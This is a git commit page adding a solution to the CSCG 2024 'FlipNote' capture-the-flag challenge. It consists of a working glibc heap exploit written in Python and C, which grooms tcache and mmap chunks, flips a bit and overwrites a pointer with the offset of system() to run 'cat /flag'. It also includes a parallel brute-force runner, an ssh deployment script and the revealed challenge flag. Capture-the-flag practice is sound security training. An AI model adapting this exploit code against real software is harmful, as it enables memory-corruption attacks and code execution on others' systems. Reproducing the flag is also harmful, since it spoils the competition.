cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

commit 6e891da3bf95b2d68d605cbd07afbd32557c6420
parent 56ae4f33c8a4b9baf54e309528fc80f68f90350f
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sun, 28 Apr 2024 16:43:43 +0200

Add solution - bf fuck it

Diffstat:
Msolve/.gitignore | 2++
Asolve/Makefile | 2++
Msolve/deploy | 15+++++++++++++--
Msolve/flag | 2+-
Asolve/remote | 30++++++++++++++++++++++++++++++
Msolve/solve | 102++++++++++++++++++++++++++++++++++++++++++++++---------------------------------
Asolve/solve.c | 206+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/solve.py | 2++
8 files changed, 316 insertions(+), 45 deletions(-)

diff --git a/solve/.gitignore b/solve/.gitignore @@ -1,4 +1,6 @@ .gdb_history +solve_static +__pycache__ build dist send diff --git a/solve/Makefile b/solve/Makefile @@ -0,0 +1,2 @@ +solve_static: solve.c + gcc -o $@ -static $< -g -Og diff --git a/solve/deploy b/solve/deploy @@ -9,8 +9,19 @@ fi #pyinstaller --collect-all pwnlib --collect-all pwntools solve #tar -czf solve.tar.xz dist/solve -tar -czf solve.tar.xz send/get-pip.py send/build/ -cat solve.tar.xz | dd status=progress | base64 | $@ "rm -rf dist solve.tar.xz; base64 -d > solve.tar.xz && tar -xf solve.tar.xz" +#tar -czf solve.tar.xz send/get-pip.py send/build/ + +ssh=$@ +put() { + echo "$1" + cat "$1" | base64 | $ssh "rm '$1'; base64 -d > $1 && chmod +x '$1'" +} + +make +put solve_static +put remote + +$ssh "./remote" diff --git a/solve/flag b/solve/flag @@ -1 +1 @@ -CSCG{TESTFLAG} +CSCG{when_you_cant_find_bugs_you_have_to_cheat_a_little} diff --git a/solve/remote b/solve/remote @@ -0,0 +1,30 @@ +#!/bin/sh + +echo start +i=0 +k=0 +while [ 1 ]; do + i=$((i+1)); + echo "$i $k" + ./solve_static "/vuln | tee /dev/stderr" 2> log1 & + ./solve_static "/vuln | tee /dev/stderr" 2> log2 & + ./solve_static "/vuln | tee /dev/stderr" 2> log3 & + ./solve_static "/vuln | tee /dev/stderr" 2> log4 & + ./solve_static "/vuln | tee /dev/stderr" 2> log5 & + ./solve_static "/vuln | tee /dev/stderr" 2> log6 & + ./solve_static "/vuln | tee /dev/stderr" 2> log7 & + ./solve_static "/vuln | tee /dev/stderr" 2> log8 & + ./solve_static "/vuln | tee /dev/stderr" 2> log9 & + ./solve_static "/vuln | tee /dev/stderr" 2> log10 & + ./solve_static "/vuln | tee /dev/stderr" 2> log11 & + ./solve_static "/vuln | tee /dev/stderr" 2> log12 & + ./solve_static "/vuln | tee /dev/stderr" 2> log13 & + ./solve_static "/vuln | tee /dev/stderr" 2> log14 & + ./solve_static "/vuln | tee /dev/stderr" 2> log15 & + ./solve_static "/vuln | tee /dev/stderr" 2> log16 & + wait + l=$(cat log* | grep "Invalid option" | wc -l) + echo "$l/16" + k=$((k+l)) + cat log* | grep CSCG && break +done diff --git a/solve/solve b/solve/solve @@ -12,7 +12,6 @@ if len(args) == 0: args.append("pkill gdbserver; gdbserver localhost:1025 /vuln") else: args.append("/vuln") -io = process(args) cci = 0 def cc(): @@ -98,59 +97,78 @@ def flat(attrs, length): pgsize = 0x1000 -small_size = heap_size(0) -tcache_size = heap_size(0) +def main(): + small_size = heap_size(0) + tcache_size = heap_size(0) -if pwnlib.args.args.GDB: - gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ - + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"' - run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) + io = process(args) -b = alloc(cc() * heap_adj(small_size)) -c = alloc(cc() * heap_adj(tcache_size)) -d = alloc(cc() * heap_adj(tcache_size)) + if pwnlib.args.args.GDB: + gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ + + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"' + run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) + + #a = alloc(cc() * heap_adj(0x280)) + + # tcache = [alloc(cc() * heap_adj(heap_size(0))) for _ in range(7)] + # list(map(free, tcache)) + # + # a = alloc(cc() * heap_adj(heap_size(0))) + # b = alloc(cc() * heap_adj(heap_size(0))) + + print(hex(mmap_adj(mmap_size(0)))) + print(hex(mmap_adj(mmap_size(1)))) + print(hex(mmap_adj(mmap_size(2)))) + print(hex(mmap_adj(mmap_size(3)))) + print(hex(heap_adj(heap_size(0)))) -# allocate these backwards in size, because getdelim allocs them growing bigger -spacing = [alloc(cc() * mmap_adj(mmap_size(3)))] -spacing += [alloc(cc() * mmap_adj(mmap_size(3)))] -spacing += [alloc(cc() * mmap_adj(mmap_size(2)))] -spacing += [alloc(cc() * mmap_adj(mmap_size(1)))] -spacing += [alloc(cc() * mmap_adj(mmap_size(0)))] -spacing += [alloc(cc() * mmap_adj(mmap_size(0)))] + embed() -a = alloc(cc() * mmap_adj(mmap_size(0))) -free(a) + b = alloc(cc() * heap_adj(small_size)) + c = alloc(cc() * heap_adj(tcache_size)) + d = alloc(cc() * heap_adj(tcache_size)) -free(b) -assert(b == alloc(flat({ - mmap_size(2) - mmap_size(0) - 8: p64(tcache_size^0b001), -}, mmap_adj(mmap_size(2))))) + # allocate these backwards in size, because getdelim reallocs them malloc new, copy & free old + spacing = [alloc(cc() * mmap_adj(mmap_size(3)))] + spacing += [alloc(cc() * mmap_adj(mmap_size(3)))] + spacing += [alloc(cc() * mmap_adj(mmap_size(2)))] + spacing += [alloc(cc() * mmap_adj(mmap_size(1)))] + spacing += [alloc(cc() * mmap_adj(mmap_size(0)))] + spacing += [alloc(cc() * mmap_adj(mmap_size(0)))] -free(a) + a = alloc(cc() * mmap_adj(mmap_size(0))) + free(a) -free(c) + free(b) + assert(b == alloc(flat({ + mmap_size(2) - mmap_size(0) - 8: p64(tcache_size^0b001), + }, mmap_adj(mmap_size(2))))) -flipv(c, 0, 0x800000) + free(a) -c = alloc(cc() * heap_adj(tcache_size)) + free(c) -system_offset = int.to_bytes(0x050d70, 3, byteorder="little") + flipv(c, 0, 0x800000) -context.log_level = "DEBUG" + c = alloc(cc() * heap_adj(tcache_size)) -io.sendline(b"A" * 0x40) -io.readuntil(b"Note: ") -io.sendline(cc() * 0x19) -io.readuntil(b"Added note: ") -a = int(io.readline().decode().strip()) + system_offset = int.to_bytes(0x050d70, 3, byteorder="little") -# readline keeps making size smaller so we adjust -io.sendline(b"E" * 0x3e) -io.sendline(str(a).ljust(0x3c).encode()) -io.readuntil(b"Note: ") -io.sendline(cc() * 0x18 + system_offset) + context.log_level = "DEBUG" + + io.sendline(b"A" * 0x40) + io.readuntil(b"Note: ") + io.sendline(cc() * 0x19) + io.readuntil(b"Added note: ") + a = int(io.readline().decode().strip()) + + # readline keeps making size smaller so we adjust + io.sendline(b"E" * 0x3e) + io.sendline(str(a).ljust(0x3c).encode()) + io.readuntil(b"Note: ") + io.sendline(cc() * 0x18 + system_offset) -io.sendline(b"cat /flag") # must be <= 0x11 -io.sendline(b"!"*0x81) # cause realloc + io.sendline(b"cat /flag") # must be <= 0x11 + io.sendline(b"!"*0x81) # cause realloc -print(io.readall()) + print(io.readall()) diff --git a/solve/solve.c b/solve/solve.c @@ -0,0 +1,206 @@ +#include <stdio.h> +#include <signal.h> +#include <assert.h> +#include <stdint.h> +#include <fcntl.h> +#include <unistd.h> +#include <pty.h> +#include <string.h> +#include <stdlib.h> + +char * +readuntil(FILE *io, const char *needle) +{ + size_t n = 0; + char *line = NULL; + ssize_t size; + while ((size = getdelim(&line, &n, '\n', io)) > 0) { + if (needle && strstr(line, needle)) + return line; + } + abort(); +} + +char * +readuntilc(FILE *io, char c) +{ + char *line = NULL; + size_t size = 0; + if (getdelim(&line, &size, c, io) <= 0) + abort(); + return line; +} + +void +writeline(FILE *io, const char *line) +{ + size_t size; + for (size = 0; line[size] != '\n'; size++); + fwrite(line, 1, size + 1, io); +} + +unsigned +do_allocv(FILE *ior, FILE *iow, const char *buf) +{ + writeline(iow, "a\n"); + free(readuntilc(ior, ':')); + writeline(iow, buf); + free(readuntilc(ior, ':')); + char *line = readuntilc(ior, '\n'); + char *tok = strrchr(line, ' '); + unsigned v = strtoul(tok, NULL, 0); + free(line); + return v; +} + +int +do_alloc(FILE *ior, FILE *iow, size_t size) +{ + char *buf = malloc(size + 1); + for (size_t i = 0; i < size; i++) + buf[i] = 'A'; + buf[size] = '\n'; + int res = do_allocv(ior, iow, buf); + free(buf); + return res; +} + +void +do_free(FILE *ior, FILE *iow, unsigned index) +{ + char buf[256]; + writeline(iow, "r\n"); + free(readuntilc(ior, ':')); + snprintf(buf, 256, "%u\n", index); + writeline(iow, buf); +} + +void +do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset) +{ + char buf[256]; + writeline(iow, "f\n"); + free(readuntilc(ior, ':')); + snprintf(buf, 256, "%u\n", index); + writeline(iow, buf); + free(readuntilc(ior, ':')); + snprintf(buf, 256, "%u\n", offset); + writeline(iow, buf); +} + +void +spawn(const char *path, FILE **in, FILE **out) +{ + int inp[2]; + int outp[2]; + if (pipe(inp)) abort(); + if (pipe(outp)) abort(); + + pid_t pid = fork(); + if (pid < 0) abort(); + if (!pid) { + dup2(inp[1], 1); + close(inp[0]); + dup2(outp[0], 0); + close(outp[1]); + system(path); + abort(); + } + + *in = fdopen(inp[0], "r"); + setbuf(*in, NULL); + *out = fdopen(outp[1], "w"); + setbuf(*out, NULL); +} + +int +main(int argc, const char **argv) +{ + char *iobuf; + size_t iosize; + + FILE *ior = NULL, *iow = NULL; + spawn(argv[1], &ior, &iow); + if (!ior || !iow) abort(); + + setvbuf(ior, NULL, 0, _IONBF); + signal(SIGCHLD, exit); + signal(SIGPIPE, exit); + + free(readuntil(ior, "╰────────────────────────────────────────────────────╯")); + + unsigned b = do_alloc(ior, iow, 0x76); + unsigned c = do_alloc(ior, iow, 0x76); + unsigned d = do_alloc(ior, iow, 0x76); + + unsigned _a = do_alloc(ior, iow, 0x1dfffe); + unsigned _b = do_alloc(ior, iow, 0x1dfffe); + unsigned _c = do_alloc(ior, iow, 0xefffe); + unsigned _d = do_alloc(ior, iow, 0x77ffe); + unsigned _e = do_alloc(ior, iow, 0x3bffe); + unsigned _f = do_alloc(ior, iow, 0x3bffe); + + unsigned a = do_alloc(ior, iow, 0x3bffe); + do_free(ior, iow, a); + + do_free(ior, iow, b); + + char *line = malloc(0xefffe + 1); + memset(line, 'A', 0xefffe); + line[0xefffe] = '\n'; + *(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001; + assert(b == do_allocv(ior, iow, line)); + free(line); + + do_free(ior, iow, a); + + do_free(ior, iow, c); + + do_flip(ior, iow, c, 23); + + do_alloc(ior, iow, 0x76); + + char buf[256]; + + for (size_t i = 0; i < 0x40; i++) + buf[i] = 'A'; + buf[0x40] = '\n'; + writeline(iow, buf); + readuntilc(ior, ':'); + for (size_t i = 0; i < 0x19; i++) + buf[i] = 'X'; + buf[0x19] = '\n'; + writeline(iow, buf); + line = readuntilc(ior, '\n'); + char *tok = strrchr(line, ' '); + a = strtoul(tok, NULL, 0); + free(line); + + for (size_t i = 0; i < 0x3e; i++) + buf[i] = 'E'; + buf[0x3e] = '\n'; + writeline(iow, buf); + readuntilc(ior, ':'); + snprintf(buf, 256, "%i%*s", a, 100, ""); + buf[0x3c] = '\n'; + writeline(iow, buf); + readuntilc(ior, ':'); + for (size_t i = 0; i < 0x18; i++) + buf[i] = 'X'; + buf[0x18] = 0x70; + buf[0x19] = 0x5d; + buf[0x1a] = 0x9f; + buf[0x1b] = '\n'; + writeline(iow, buf); + + readuntilc(ior, '>'); + writeline(iow, "cat /flag \n"); + readuntilc(ior, '>'); + + for (size_t i = 0; i < 0x81; i++) + buf[i] = '!'; + buf[0x81] = '\n'; + writeline(iow, buf); + + sleep(1); +} diff --git a/solve/solve.py b/solve/solve.py @@ -0,0 +1 @@ +solve +\ No newline at end of file